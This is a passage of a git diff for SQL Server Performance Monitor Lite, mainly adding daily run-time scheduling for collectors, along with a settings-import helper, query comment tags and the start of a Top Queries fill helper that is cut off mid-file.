+    /// collectors from <see cref="GetCollectorsForTabOpen"/> instead of running them all.</para>
+    ///
+    /// <para>#4938: a collector with a run time (<see cref="CollectorSchedule.RunAt"/>) is due once a day inside the
+    /// 60-minute grace that follows its slot, by <see cref="CollectorRunTime.NextDue"/>, and a daily collector's last
+    /// run is the one <see cref="SeedLastRunsForServer"/> read from collection_log at start-up.</para>
     /// </summary>
     public IReadOnlyList<CollectorSchedule> GetDueCollectorsForServer(string serverId)
         => GetDueCollectorsForServer(serverId, DateTime.UtcNow);
@@ -245,28 +276,337 @@ public IReadOnlyList<CollectorSchedule> GetDueCollectorsForServer(string serverI
                 if (!s.Enabled)
                     continue;
 
+                if (IsDue(serverId, s, runState, atUtc))
+                {
+                    due.Add(s);
+                }
+            }
+
+            return due;
+        }
+    }
+
+    /// <summary>
+    /// #4938: whether one collector is due. A collector with a run time (a valid <c>run_at</c> on an interval of whole
+    /// days) asks <see cref="CollectorRunTime.NextDue"/> and is due when the answer is at or before
+    /// <paramref name="atUtc"/>: from the day's time to the end of the 60-minute grace, once a day. A never-run
+    /// collector, or one that missed its day, waits for the next day's time. Every other collector keeps the interval rule.
+    /// </summary>
+    private bool IsDue(string serverId, CollectorSchedule s, Dictionary<string, DateTime>? runState, DateTime atUtc)
+    {
+        var intervalMinutes = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(s.FrequencyMinutes);
+        DateTime? lastRun = runState != null && runState.TryGetValue(s.Name, out var last) ? last : null;
+
+        if (ResolveRunAtMinute(serverId, s, intervalMinutes) is int runAtMinute)
+        {
+            var (spreadId, localToUtc, _) = RunTimeBasis(serverId);
+            var next = CollectorRunTime.NextDue(atUtc, lastRun, runAtMinute, intervalMinutes, spreadId, localToUtc);
+
+            /* The clock-step check with the room a run-time stamp needs (an interval, the spread, a 25-hour day). */
+            return CollectorCadence.ClampDue(next, atUtc, CollectorRunTime.MaxStampAhead(intervalMinutes)) <= atUtc;
+        }
+
+        if (lastRun is not { } ran)
+        {
+            return true; // never run — due immediately
+        }
+
+        /* #4732: due when lastRun plus the interval has come, decided through the shared clamp. A run recorded
+           after atUtc is either what a wall clock that stepped backwards leaves behind for every collector (the
+           plain elapsed check would hold each one back for as long as the step), or a tab-open or refresh run
+           that recorded its own start time after this cycle's time was taken (RemoteCollectorService, only the
+           collectors it ran); the clamp counts either as due now. A run one interval or more before atUtc is
+           due and one less than an interval before is not, exactly as before. */
+        var interval = TimeSpan.FromMinutes(intervalMinutes);
+        return CollectorCadence.ClampDue(ran + interval, atUtc, interval) <= atUtc;
+    }
+
+    /// <summary>
+    /// #4938: the collector's run time in minutes after midnight on the server's clock, or null when it has none that
+    /// applies. A value that is not a 24-hour HH:MM time, or that sits on an interval that is not a whole number of
+    /// days, is ignored with one warning that names the collector and the server.
+    /// </summary>
+    private int? ResolveRunAtMinute(string serverId, CollectorSchedule s, int intervalMinutes)
+    {
+        if (string.IsNullOrWhiteSpace(s.RunAt))
+        {
+            return null;
+        }
+
+        var serverName = _runTimeServers.TryGetValue(serverId, out var server) ? server.Name : serverId;
+        if (!CollectorRunTime.TryParse(s.RunAt, out var minute))
+        {
+            if (_warnedRunTimes.Add($"{serverId}|{s.Name}|{s.RunAt}|format"))
+            {
+                _logger?.LogWarning("Collector '{Name}' on server '{Server}' has run_at '{RunAt}'. {Message} The run time is ignored.",
+                    s.Name, serverName, s.RunAt, CollectorRunTime.InvalidRunAtMessage);
+            }
+
+            return null;
+        }
+
+        if (!CollectorRunTime.AllowsRunAt(intervalMinutes))
+        {
+            if (_warnedRunTimes.Add($"{serverId}|{s.Name}|{s.RunAt}|{intervalMinutes}"))
+            {
+                _logger?.LogWarning("{Message} The run time {RunAt} on server '{Server}' is ignored.",
+                    CollectorRunTime.IntervalRefusalMessage(s.Name, intervalMinutes), s.RunAt, serverName);
+            }
+
+            return null;
+        }
+
+        return minute;
+    }
+
+    /// <summary>
+    /// #4938: what a run time on this server is computed from. The spread takes an int id: the stable id Lite stores
+    /// for the server (the deterministic hash of its storage name), registered by RemoteCollectorService; before one is
+    /// registered, a hash of the connection id. The conversion is the server's clock, or UTC until one is known (the
+    /// third value says which). Called with the lock held.
+    /// </summary>
+    private (int SpreadId, Func<DateTime, DateTime> LocalToUtc, ServerClock? Clock) RunTimeBasis(string serverId)
+    {
+        _runTimeServers.TryGetValue(serverId, out var server);
+        var spreadId = server?.StorageId ?? PerformanceMonitor.Common.ServerIdHelper.GetDeterministicHashCode(serverId);
+        Func<DateTime, DateTime> localToUtc = server?.Clock is { } clock ? clock.ToUtc : CollectorRunTime.LocalIsUtc;
+        return (spreadId, localToUtc, server?.Clock);
+    }
+
+    /// <summary>
+    /// #4938: one line per enabled collector that has a valid run time, for the schedule editor, so a collector that
+    /// waits for its time shows when. With a <paramref name="serverId"/> a line gives the exact next run, in the server's
+    /// clock and in UTC; with none (the default schedule, which every server without a custom schedule uses) it gives the
+    /// hour the servers spread across. A server Lite has not collected from yet has no clock or run history, and its
+    /// line says so. A collector whose time falls inside today's hour and has not run yet shows as due now.
+    /// </summary>
+    internal IReadOnlyList<string> DescribeRunTimes(string? serverId, IEnumerable<CollectorSchedule> schedules, DateTime atUtc)
+    {
+        var lines = new List<string>();
+        lock (_lock)
+        {
+            foreach (var s in schedules)
+            {
+                if (!s.Enabled
+                    || RunAtError(s.Name, s.FrequencyMinutes, s.RunAt) is not null
+                    || !CollectorRunTime.TryParse(s.RunAt, out var runAtMinute))
+                {
+                    continue;
+                }
+
+                if (serverId is null)
+                {
+                    var end = CollectorRunTime.Format((runAtMinute + CollectorRunTime.GraceMinutes) % 1440);
+                    lines.Add(string.Create(CultureInfo.InvariantCulture,
+                        $"{s.Name}: runs between {CollectorRunTime.Format(runAtMinute)} and {end} on each server's clock, each server at its own minute."));
+                    continue;
+                }
+
+                if (!_runTimeServers.ContainsKey(serverId))
+                {
+                    lines.Add($"{s.Name}: the next run shows once Lite has collected from this server.");
+                    continue;
+                }
+
                 var intervalMinutes = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(s.FrequencyMinutes);
+                _serverRunState.TryGetValue(serverId, out var runState);
+                DateTime? lastRun = runState != null && runState.TryGetValue(s.Name, out var last) ? last : null;
+                var (spreadId, localToUtc, clock) = RunTimeBasis(serverId);
+                var next = CollectorRunTime.NextDue(atUtc, lastRun, runAtMinute, intervalMinutes, spreadId, localToUtc);
 
-                if (runState == null || !runState.TryGetValue(s.Name, out var lastRun))
+                if (next <= atUtc)
                 {
-                    due.Add(s); // never run — due immediately
+                    lines.Add($"{s.Name}: due now, inside today's hour.");
                     continue;
                 }
 
-                /* #4732: due when lastRun plus the interval has come, decided through the shared clamp. A run recorded
-                   after atUtc is either what a wall clock that stepped backwards leaves behind for every collector (the
-                   plain elapsed check would hold each one back for as long as the step), or a tab-open or refresh run
-                   that recorded its own start time after this cycle's time was taken (RemoteCollectorService, only the
-                   collectors it ran); the clamp counts either as due now. A run one interval or more before atUtc is
-                   due and one less than an interval before is not, exactly as before. */
-                var interval = TimeSpan.FromMinutes(intervalMinutes);
-                if (CollectorCadence.ClampDue(lastRun + interval, atUtc, interval) <= atUtc)
+                lines.Add(clock is null
+                    ? string.Create(CultureInfo.InvariantCulture,
+                        $"{s.Name}: next run {next:yyyy-MM-dd HH:mm} UTC (the server's clock is not known yet, so the run time is read as UTC).")
+                    : string.Create(CultureInfo.InvariantCulture,
+                        $"{s.Name}: next run {clock.ToServerLocal(next):yyyy-MM-dd HH:mm} server time ({next:yyyy-MM-dd HH:mm} UTC)."));
+            }
+        }
+
+        return lines;
+    }
+
+    /// <summary>One collector's run time on one server: the minutes after midnight on the server's clock, the interval
+    /// the run time is judged on (a whole number of days), and whether the collector is enabled.</summary>
+    internal readonly record struct RunTimeSetting(string Collector, int RunAtMinute, int IntervalMinutes, bool Enabled);
+
+    /// <summary>
+    /// #4938: which of <paramref name="collectors"/> have a run time that applies on one server, read from the schedule
+    /// the sweep reads (the server's own schedule when it has one, else the default), through the same check
+    /// (<see cref="ResolveRunAtMinute"/>): a value that is not an HH:MM time, or that sits on an interval that is not a
+    /// whole number of days, is none. The server is the stable storage id the health reads are keyed by
+    /// (<see cref="RemoteCollectorService.GetServerId"/>), looked up in <paramref name="servers"/> the way
+    /// <see cref="GetFrequencyForStorageServer"/> does; a server the list no longer holds has none. A disabled collector
+    /// is listed, so a reader can tell "no run time" from "disabled".
+    /// </summary>
+    internal IReadOnlyList<RunTimeSetting> GetRunTimeSettingsForStorageServer(
+        ServerManager servers, int storageServerId, IEnumerable<string> collectors)
+    {
+        var settings = new List<RunTimeSetting>();
+        var server = servers.GetAllServers().FirstOrDefault(s =>
+            RemoteCollectorService.GetDeterministicHashCode(RemoteCollectorService.GetServerNameForStorage(s)) == storageServerId);
+        if (server is null)
+        {
+            return settings;
+        }
+
+        lock (_lock)
+        {
+            foreach (var name in collectors)
+            {
+                if (GetScheduleForServer(server.Id, name) is not { } schedule)
                 {
-                    due.Add(s);
+                    continue;
+                }
+
+                var intervalMinutes = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(schedule.FrequencyMinutes);
+                if (ResolveRunAtMinute(server.Id, schedule, intervalMinutes) is int minute)
+                {
+                    settings.Add(new RunTimeSetting(schedule.Name, minute, intervalMinutes, schedule.Enabled));
                 }
             }
+        }
 
-            return due;
+        return settings;
+    }
+
+    /// <summary>
+    /// #4938: tells the scheduler what a run time needs about a server: the stable id the spread is taken from
+    /// (<c>RemoteCollectorService.GetServerId</c>, the deterministic hash of the storage name), the name warnings show,
+    /// and the server's clock from its newest server_properties row. A null clock reads the run time as UTC until one
+    /// arrives; every due check uses the clock set last, so a new clock moves the next slot with no other step.
+    /// </summary>
+    public void SetServerRunContext(string serverId, int storageServerId, string serverName, ServerClock? clock)
+    {
+        lock (_lock)
+        {
+            _runTimeServers[serverId] = new RunTimeServer(storageServerId, serverName, clock);
+        }
+    }
+
+    /// <summary>
+    /// #4938: the collectors the tab-open run starts, in schedule order. An on-load collector (frequency 0) always
+    /// runs: that is its connect capture, and a run time moves only its daily re-capture. A collector with a run time
+    /// does not run, because its time owns it. A collector that runs once a day or less often and is not due does not
+    /// run either, so opening a tab no longer re-runs it. Every other enabled collector runs, as before.
+    /// </summary>
+    public IReadOnlyList<CollectorSchedule> GetCollectorsForTabOpen(string serverId, DateTime atUtc)
+    {
+        lock (_lock)
+        {
+            var schedules = _serverOverrides.TryGetValue(serverId, out var over)
+                ? over.Collectors
+                : _defaultSchedule;
+
+            _serverRunState.TryGetValue(serverId, out var runState);
+
+            var run = new List<CollectorSchedule>();
+            foreach (var s in schedules)
+            {
+                if (!s.Enabled)
+                    continue;
+
+                if (s.IsScheduled)
+                {
+                    var intervalMinutes = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(s.FrequencyMinutes);
+                    if (ResolveRunAtMinute(serverId, s, intervalMinutes) is not null)
+                        continue;
+
+                    if (IsDailyOrLonger(intervalMinutes) && !IsDue(serverId, s, runState, atUtc))
+                        continue;
+                }
+
+                run.Add(s);
+            }
+
+            return run;
+        }
+    }
+
+    private const int DailyIntervalMinutes = 1440;
+
+    /// <summary>
+    /// #4938: the one rule for a daily-or-longer collector: an effective interval of a day or more, whole days or not.
+    /// The tab-open selection, the start-up read of last runs and a failed attempt all ask it, so a collector one of
+    /// them counts is a collector all of them count. It is not <see cref="CollectorRunTime.AllowsRunAt"/>, which is
+    /// narrower on purpose: a run time needs a whole number of days, and a 2000-minute collector has none to set.
+    /// </summary>
+    internal static bool IsDailyOrLonger(int effectiveIntervalMinutes) => effectiveIntervalMinutes >= DailyIntervalMinutes;
+
+    /// <summary>
+    /// #4938: how far back a daily-or-longer collector's last run still counts: its interval plus a day. A run older than
+    /// that reads as never run, so the collector waits for its next daily slot instead of following a grid of whole
+    /// intervals from a run it is already a day late on. The start-up read of last runs
+    /// (<see cref="RemoteCollectorService"/>) and get_collection_health (<see cref="Mcp.McpCollectorRunTimes"/>) both apply
+    /// it, each collector against its own interval, so the two name the same next run.
+    /// </summary>
+    internal static TimeSpan LastRunFloor(int effectiveIntervalMinutes) =>
+        TimeSpan.FromMinutes(effectiveIntervalMinutes) + TimeSpan.FromDays(1);
+
+    /// <summary>The last run when it is inside <see cref="LastRunFloor"/>, else null: never run.</summary>
+    internal static DateTime? LastRunWithinFloor(DateTime? lastRunUtc, DateTime nowUtc, int effectiveIntervalMinutes)
+    {
+        if (lastRunUtc is null)
+        {
+            return null;
+        }
+
+        return lastRunUtc.Value >= nowUtc - LastRunFloor(effectiveIntervalMinutes) ? lastRunUtc : null;
+    }
+
+    /// <summary>
+    /// #4938: the enabled collectors whose effective interval is a day or more (the on-load ones recur daily), with
+    /// that interval. These are the ones whose last run is read from collection_log at start-up.
+    /// </summary>
+    public IReadOnlyDictionary<string, int> GetDailyCollectorIntervalsForServer(string serverId)
+    {
+        lock (_lock)
+        {
+            var schedules = _serverOverrides.TryGetValue(serverId, out var over)
+                ? over.Collectors
+                : _defaultSchedule;
+
+            var daily = new Dictionary<string, int>(StringComparer.OrdinalIgnoreCase);
+            foreach (var s in schedules.Where(s => s.Enabled))
+            {
+                var intervalMinutes = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(s.FrequencyMinutes);
+                if (IsDailyOrLonger(intervalMinutes))
+                {
+                    daily[s.Name] = intervalMinutes;
+                }
+            }
+
+            return daily;
+        }
+    }
+
+    /// <summary>
+    /// #4938: fills in the last run of collectors from the local collection_log at start-up. The run state lives in
+    /// memory, so without this every collector is "never run, due now" after a launch. A run already on record
+    /// stays when it is the later of the two.
+    /// </summary>
+    public void SeedLastRunsForServer(string serverId, IReadOnlyDictionary<string, DateTime> lastRuns)
+    {
+        lock (_lock)
+        {
+            if (!_serverRunState.TryGetValue(serverId, out var runState))
+            {
+                runState = new Dictionary<string, DateTime>(StringComparer.OrdinalIgnoreCase);
+                _serverRunState[serverId] = runState;
+            }
+
+            foreach (var (name, ran) in lastRuns)
+            {
+                if (!runState.TryGetValue(name, out var existing) || existing < ran)
+                {
+                    runState[name] = ran;
+                }
+            }
         }
     }
 
@@ -335,6 +675,46 @@ public void MarkCollectorRunForServer(string serverId, string collectorName, Dat
         }
     }
 
+    /// <summary>
+    /// #4938: records an attempt that did not succeed (an error, a denied permission, a declined sign-in, a lock yield)
+    /// as the run of a daily-or-longer collector (an effective interval of a day or more, whole days or not, by
+    /// <see cref="IsDailyOrLonger"/>: the rule the start-up read uses), with or without a run time. The attempt wrote its
+    /// collection_log row, and the start-up read counts every row as the last run whatever its status, so the session
+    /// counts it too: a collector that keeps failing runs once, not on every sweep, and is due again an interval after
+    /// the attempt (with a run time, inside the 60-minute hour that follows its next time). A collector that runs more
+    /// often than that, one the schedule does not list, and one that is switched off are left alone: they stay due on
+    /// the next sweep, as before.
+    /// </summary>
+    public void MarkCollectorAttemptForServer(string serverId, string collectorName, DateTime attemptTime)
+    {
+        lock (_lock)
+        {
+            var schedules = _serverOverrides.TryGetValue(serverId, out var over)
+                ? over.Collectors
+                : _defaultSchedule;
+
+            var schedule = schedules.FirstOrDefault(s =>
+                s.Name.Equals(collectorName, StringComparison.OrdinalIgnoreCase));
+            if (schedule is null
+                || !schedule.Enabled
+                || !IsDailyOrLonger(CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(schedule.FrequencyMinutes)))
+            {
+                return;
+            }
+
+            if (!_serverRunState.TryGetValue(serverId, out var runState))
+            {
+                runState = new Dictionary<string, DateTime>(StringComparer.OrdinalIgnoreCase);
+                _serverRunState[serverId] = runState;
+            }
+
+            runState[collectorName] = attemptTime;
+
+            _logger?.LogDebug("Marked collector '{Name}' as attempted for server {ServerId} at {Time}; the attempt ends its period's run",
+                collectorName, serverId, attemptTime);
+        }
+    }
+
     /// <summary>
     /// Creates or updates a per-server schedule override.
     /// </summary>
@@ -348,6 +728,13 @@ public void SetScheduleForServer(string serverId, List<CollectorSchedule> schedu
                 {
                     throw new InvalidOperationException(frequencyError);
                 }
+
+                /* #4938: a blank run time is none; it is stored as null, so the file carries run_at only where one is set. */
+                schedule.RunAt = NormalizeRunAt(schedule.RunAt);
+                if (RunAtError(schedule.Name, schedule.FrequencyMinutes, schedule.RunAt) is string runAtError)
+                {
+                    throw new InvalidOperationException(runAtError);
+                }
             }
 
             _serverOverrides[serverId] = new ServerScheduleOverride { Collectors = schedules };
@@ -384,19 +771,72 @@ public bool HasServerOverride(string serverId)
         }
     }
 
+    /// <summary>One Settings > Collector Schedules row: what the server's schedule matches, whose schedule it is, and
+    /// why the match is "Custom" when it is.</summary>
+    internal sealed record ServerScheduleSummary(string Preset, string Status, string PresetDetail);
+
+    /// <summary>Status text for a server that follows the default schedule.</summary>
+    internal const string StatusUsesDefault = "Uses default";
+
+    /// <summary>Status text for a server with its own schedule.</summary>
+    internal const string StatusOwnSchedule = "Own schedule";
+
     /// <summary>
-    /// Detects which preset matches a server's active schedule.
+    /// The Preset, Status and Preset tooltip of one Settings row, all read from the one schedule list the server runs
+    /// on (its own, or the default). Preset says which preset's intervals that list matches; Status says whose list it
+    /// is. They are different questions, so "Custom" next to "Uses default" is a true pair: the default schedule has
+    /// been edited, or kept an interval an older version shipped (deadlocks was 1 minute before #1963 made it 5).
+    /// The tooltip names the intervals that differ, so the reader can see why.
     /// </summary>
-    public string GetActivePresetForServer(string serverId)
+    internal ServerScheduleSummary GetServerScheduleSummary(string serverId)
     {
         lock (_lock)
         {
-            var schedules = _serverOverrides.TryGetValue(serverId, out var over)
-                ? over.Collectors
-                : _defaultSchedule;
+            var hasOverride = _serverOverrides.TryGetValue(serverId, out var over);
+            var schedules = hasOverride ? over!.Collectors : _defaultSchedule;
+            return new ServerScheduleSummary(
+                DetectPreset(schedules),
+                hasOverride ? StatusOwnSchedule : StatusUsesDefault,
+                DescribePresetMatch(schedules));
+        }
+    }
 
-            return DetectPreset(schedules);
+    /// <summary>
+    /// One sentence on how a schedule list relates to the presets: that it matches one, or which preset is closest and
+    /// which collector intervals differ from it (first five).
+    /// </summary>
+    internal static string DescribePresetMatch(List<CollectorSchedule> schedules)
+    {
+        var matched = DetectPreset(schedules);
+        if (matched != "Custom")
+        {
+            return $"Every collector interval matches the {matched} preset.";
+        }
+
+        string? closest = null;
+        List<string>? closestDiffs = null;
+        foreach (var (presetName, intervals) in s_presets)
+        {
+            var diffs = new List<string>();
+            foreach (var (collector, freq) in intervals)
+            {
+                var schedule = schedules.FirstOrDefault(s =>
+                    s.Name.Equals(collector, StringComparison.OrdinalIgnoreCase));
+                if (schedule != null && schedule.FrequencyMinutes != freq)
+                {
+                    diffs.Add($"{collector} {schedule.FrequencyMinutes}m ({presetName} {freq}m)");
+                }
+            }
+            if (closestDiffs == null || diffs.Count < closestDiffs.Count)
+            {
+                closest = presetName;
+                closestDiffs = diffs;
+            }
         }
+
+        var shown = string.Join(", ", closestDiffs!.Take(5));
+        var more = closestDiffs!.Count > 5 ? $" and {closestDiffs.Count - 5} more" : "";
+        return $"Custom: no preset matches. Closest is {closest}; these intervals differ: {shown}{more}.";
     }
 
     // ──────────────────────────────────────────────────────────────────
@@ -607,6 +1047,38 @@ private bool MergeIntoList(List<CollectorSchedule> list, List<CollectorSchedule>
         return CollectorDeltaCalculator.DeltaFrequencyError(collectorName, frequencyMinutes);
     }
 
+    /// <summary>The note the editor shows beside the run time: Lite collects only while it is open (#4938).</summary>
+    internal const string RunAtLiteClosedNote =
+        "Lite collects only while it is open. If Lite is closed at this time, that day's run is skipped.";
+
+    /// <summary>
+    /// #4938: why a run time can't be honored for this collector, or null when it can. A blank run time is none, and
+    /// always fine. Otherwise it must be a 24-hour HH:MM time, and the collector must run once a day or less often:
+    /// judged on the effective interval, so an on-load collector's daily re-run counts and an hourly collector is
+    /// refused. The texts are the shared ones (<see cref="CollectorRunTime"/>), so the editors and the CLI agree. The
+    /// editor shows this message before saving; the write APIs throw it as a backstop.
+    /// </summary>
+    internal static string? RunAtError(string collectorName, int frequencyMinutes, string? runAt)
+    {
+        if (string.IsNullOrWhiteSpace(runAt))
+        {
+            return null;
+        }
+
+        if (!CollectorRunTime.TryParse(runAt, out _))
+        {
+            return CollectorRunTime.InvalidRunAtMessage;
+        }
+
+        var intervalMinutes = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(frequencyMinutes);
+        return CollectorRunTime.AllowsRunAt(intervalMinutes)
+            ? null
+            : CollectorRunTime.IntervalRefusalMessage(collectorName, intervalMinutes);
+    }
+
+    /// <summary>#4938: a blank run time is none (null); anything else loses its surrounding spaces.</summary>
+    internal static string? NormalizeRunAt(string? runAt) => string.IsNullOrWhiteSpace(runAt) ? null : runAt.Trim();
+
     /// <summary>
     /// Clamps any loaded delta-family frequency above the gap-policy cap back to the cap (#3532) — the
     /// write APIs refuse such a cadence, but a hand-edited or pre-fix collection_schedule.json can still
@@ -714,7 +1186,8 @@ private static CollectorSchedule CloneSchedule(CollectorSchedule s)
             Enabled = s.Enabled,
             FrequencyMinutes = s.FrequencyMinutes,
             RetentionDays = s.RetentionDays,
-            Description = s.Description
+            Description = s.Description,
+            RunAt = s.RunAt
         };
     }
 
@@ -751,7 +1224,7 @@ internal static List<CollectorSchedule> GetDefaultSchedules()
             new() { Name = "waiting_tasks", Enabled = true, FrequencyMinutes = 1, RetentionDays = 7, Description = "Point-in-time waiting tasks from sys.dm_os_waiting_tasks" },
             new() { Name = "dmv_blocking_snapshot", Enabled = true, FrequencyMinutes = 1, RetentionDays = 30, Description = "Always-on point-in-time blocking snapshot from DMVs (BPR-independent fallback; works when blocked process threshold is unset, e.g. AWS RDS)" },
             new() { Name = "blocked_process_report", Enabled = true, FrequencyMinutes = 1, RetentionDays = 30, Description = "Blocked process reports from XE ring buffer session (opt-out)" },
-            new() { Name = "long_query_completions", Enabled = false, FrequencyMinutes = 1, RetentionDays = 30, Description = "Long-running query completions (rpc_completed/sql_batch_completed >= threshold, plus attention/cancels) from a dedicated XE ring buffer session. OPT-IN, default OFF: enabling creates the session on monitored servers, disabling drops it (#1496)" },
+            new() { Name = "long_query_completions", Enabled = false, FrequencyMinutes = 1, RetentionDays = 30, Description = "Long-running query completions (rpc_completed/sql_batch_completed >= threshold, plus attention/cancels) from this install's own XE ring buffer session. OPT-IN, default OFF: enabling creates the session on monitored servers, disabling drops it unless another registration of this install keeps it (#1496). On Azure SQL Database the session is created in each monitored database." },
             new() { Name = "database_scoped_config", Enabled = true, FrequencyMinutes = 0, RetentionDays = 30, Description = "Database-scoped configurations (on-load only)" },
             new() { Name = "trace_flags", Enabled = true, FrequencyMinutes = 0, RetentionDays = 30, Description = "Active trace flags via DBCC TRACESTATUS (on-load only)" },
             new() { Name = "running_jobs", Enabled = true, FrequencyMinutes = 5, RetentionDays = 7, Description = "Currently running SQL Agent jobs with duration comparison" },
diff --git a/Lite/Services/ServerManager.cs b/Lite/Services/ServerManager.cs
index 41c4d16d42..2066e48fed 100644
--- a/Lite/Services/ServerManager.cs
+++ b/Lite/Services/ServerManager.cs
@@ -48,7 +48,7 @@ public class ServerManager
     /// 3 engine_edition, 4 is_aws_rds, 5 has_msdb_access.
     /// </summary>
     internal const string DetectionQueryText = @"
-        SELECT
+        SELECT /* PerformanceMonitorLite */
             @@VERSION AS sql_version,
             CONVERT(integer, SERVERPROPERTY('ProductMajorVersion')) AS major_version,
             DATEDIFF(MINUTE, GETUTCDATE(), GETDATE()) AS utc_offset_minutes,
@@ -63,7 +63,7 @@ CASE WHEN DB_ID('rdsadmin') IS NOT NULL THEN 1 ELSE 0 END AS is_aws_rds,
     /// failing platform detection.
     /// </summary>
     internal const string ServerStartTimeQueryText =
-        "SELECT sqlserver_start_time FROM sys.dm_os_sys_info";
+        "SELECT /* PerformanceMonitorLite */ sqlserver_start_time FROM sys.dm_os_sys_info";
 
     public ServerManager(string configDirectory, ILogger<ServerManager>? logger = null)
     {
diff --git a/Lite/Services/ServerTimeHelper.cs b/Lite/Services/ServerTimeHelper.cs
index eea988508c..efac07d829 100644
--- a/Lite/Services/ServerTimeHelper.cs
+++ b/Lite/Services/ServerTimeHelper.cs
@@ -87,6 +87,13 @@ public static DateTime ConvertForDisplay(DateTime serverTime, TimeDisplayMode mo
         _ => serverTime
     };
 
+    /// <summary>
+    /// The zone the process-wide display mode shows times in now (#5562): UTC, this machine's zone, or the active server's clock.
+    /// The History tabs and the FinOps pickers read typed times and calendar periods in it, so a picker's "Yesterday" and the
+    /// times the grid prints beside it are the same wall clock. The Viewer's twin is <c>ViewerTimeHelper.CurrentDisplayZone</c>.
+    /// </summary>
+    internal static TimeZoneInfo CurrentDisplayZone => DisplayZoneFor(CurrentDisplayMode, _serverClock);
+
     /// <summary>
     /// The zone a time is shown in for <paramref name="mode"/> (#4766): UTC, this machine's zone, or the server's own
     /// clock (<paramref name="clock"/>: its time zone where one was collected, else its fixed offset). Pure, so a
diff --git a/Lite/Services/SettingsImport.cs b/Lite/Services/SettingsImport.cs
new file mode 100644
index 0000000000..343a07144a
--- /dev/null
+++ b/Lite/Services/SettingsImport.cs
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.IO;
+
+namespace PerformanceMonitorLite.Services;
+
+/// <summary>
+/// What Import Settings copies from a previous install's folder into this one, as named lists so a test can read
+/// them. The list is short on purpose and <see cref="InstallIdStore.FileName"/> is never on it (#4961): the
+/// previous install may still run, and two installs that shared an id would share Extended Events session names
+/// and drop each other's sessions. Servers and credential profiles are not in these lists; they are imported
+/// through <see cref="ServerManager"/> and <see cref="ProfileManager"/>.
+/// </summary>
+internal static class SettingsImport
+{
+    /// <summary>Files copied from the previous install's <c>config</c> folder into this install's.</summary>
+    internal static readonly string[] ConfigFiles = ["settings.json", "collection_schedule.json", "ignored_wait_types.json"];
+
+    /// <summary>Files copied from the previous install's data root into this install's.</summary>
+    internal static readonly string[] RootFiles = ["alert_state.json"];
+
+    /// <summary>
+    /// Copies each listed file the previous install has and this one does not, and returns how many it copied. A
+    /// file this install already has is kept as it is.
+    /// </summary>
+    internal static int CopyMissing(string oldConfigDir, string oldRootDir, string newConfigDir, string newRootDir) =>
+        CopyEach(ConfigFiles, oldConfigDir, newConfigDir) + CopyEach(RootFiles, oldRootDir, newRootDir);
+
+    private static int CopyEach(string[] fileNames, string fromDir, string toDir)
+    {
+        var copied = 0;
+        foreach (var fileName in fileNames)
+        {
+            var source = Path.Combine(fromDir, fileName);
+            var target = Path.Combine(toDir, fileName);
+
+            if (File.Exists(source) && !File.Exists(target))
+            {
+                File.Copy(source, target);
+                copied++;
+            }
+        }
+
+        return copied;
+    }
+}
diff --git a/Lite/Services/SettingsSaveReport.cs b/Lite/Services/SettingsSaveReport.cs
index b5e3fdbdd1..4ff7bd7b45 100644
--- a/Lite/Services/SettingsSaveReport.cs
+++ b/Lite/Services/SettingsSaveReport.cs
@@ -51,19 +51,21 @@ public static class SettingsSaveReport
     /// <param name="alertsValid">Whether every alert box validated.</param>
     /// <param name="mcpValid">Whether the MCP port validated and could be bound.</param>
     /// <param name="webhooksValid">Whether the generic webhook configuration validated.</param>
+    /// <param name="memoryLimitValid">Whether the DuckDB memory limit box was inside its range (#5457).</param>
     public static SettingsSaveOutcome Classify(
         bool documentWritten,
         bool mcpChanged,
         bool alertsValid,
         bool mcpValid,
-        bool webhooksValid)
+        bool webhooksValid,
+        bool memoryLimitValid = true)
     {
         if (!documentWritten)
         {
             return SettingsSaveOutcome.NothingWritten;
         }
 
-        if (!alertsValid || !mcpValid || !webhooksValid)
+        if (!alertsValid || !mcpValid || !webhooksValid || !memoryLimitValid)
         {
             return SettingsSaveOutcome.WrittenWithObjections;
         }
diff --git a/Lite/Services/TopFill.cs b/Lite/Services/TopFill.cs
new file mode 100644
index 0000000000..093b2e8efa
--- /dev/null
+++ b/Lite/Services/TopFill.cs
@@ -0,0 +1,80 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading.Tasks;
+
+namespace PerformanceMonitorLite.Services;
+
+/// <summary>
+/// #5313: the bounded fill behind Lite's Top Queries and Query Store top reads, the twin of Darling's
+/// <c>TopFill</c>. Those statements rank candidate groups, look up each one's newest text and drop the WAITFOR
+/// shells, then cap at <c>top</c>. A fixed over-fetch of five covers up to five shells; a window whose top groups
+/// hold more of them (a WAITFOR runs long, so the Query Store duration ranking puts them high) returned a short
+/// page. This asks again with a larger candidate limit while the page is short AND the last round filled its whole
+/// candidate limit (more candidates may exist), up to a hard bound: at most <see cref="MaxRounds"/> rounds, and the
+/// candidate limit never passes <c>top + </c><see cref="MaxExtraCandidates"/>. Round one is exactly the old
+/// statement (<c>top + 5</c>), so a read that was already full costs what it did.
+/// <para>Each round reports how many candidates its ranking produced, on its own row, so a round whose candidates
+/// were ALL trimmed (every one a WAITFOR statement) still says whether more exist.</para>
+/// </summary>
+internal static class TopFill
+{
+    /// <summary>Round one's over-fetch, the value the statements used before the fill.</summary>
+    public const int FirstExtra = 5;
+
+    /// <summary>Most rounds one read may run, the first included.</summary>
+    public const int MaxRounds = 3;
+
+    /// <summary>Each later round asks for this many times the previous candidate limit.</summary>
+    public const int Growth = 4;
+
+    /// <summary>The candidate limit never passes <c>top + MaxExtraCandidates</c>.</summary>
+    public const int MaxExtraCandidates = 200;
+
+    /// <summary>The first round's candidate limit.</summary>
+    public static int FirstCandidates(int top) => Clamp((long)top + FirstExtra);
+
+    /// <summary>
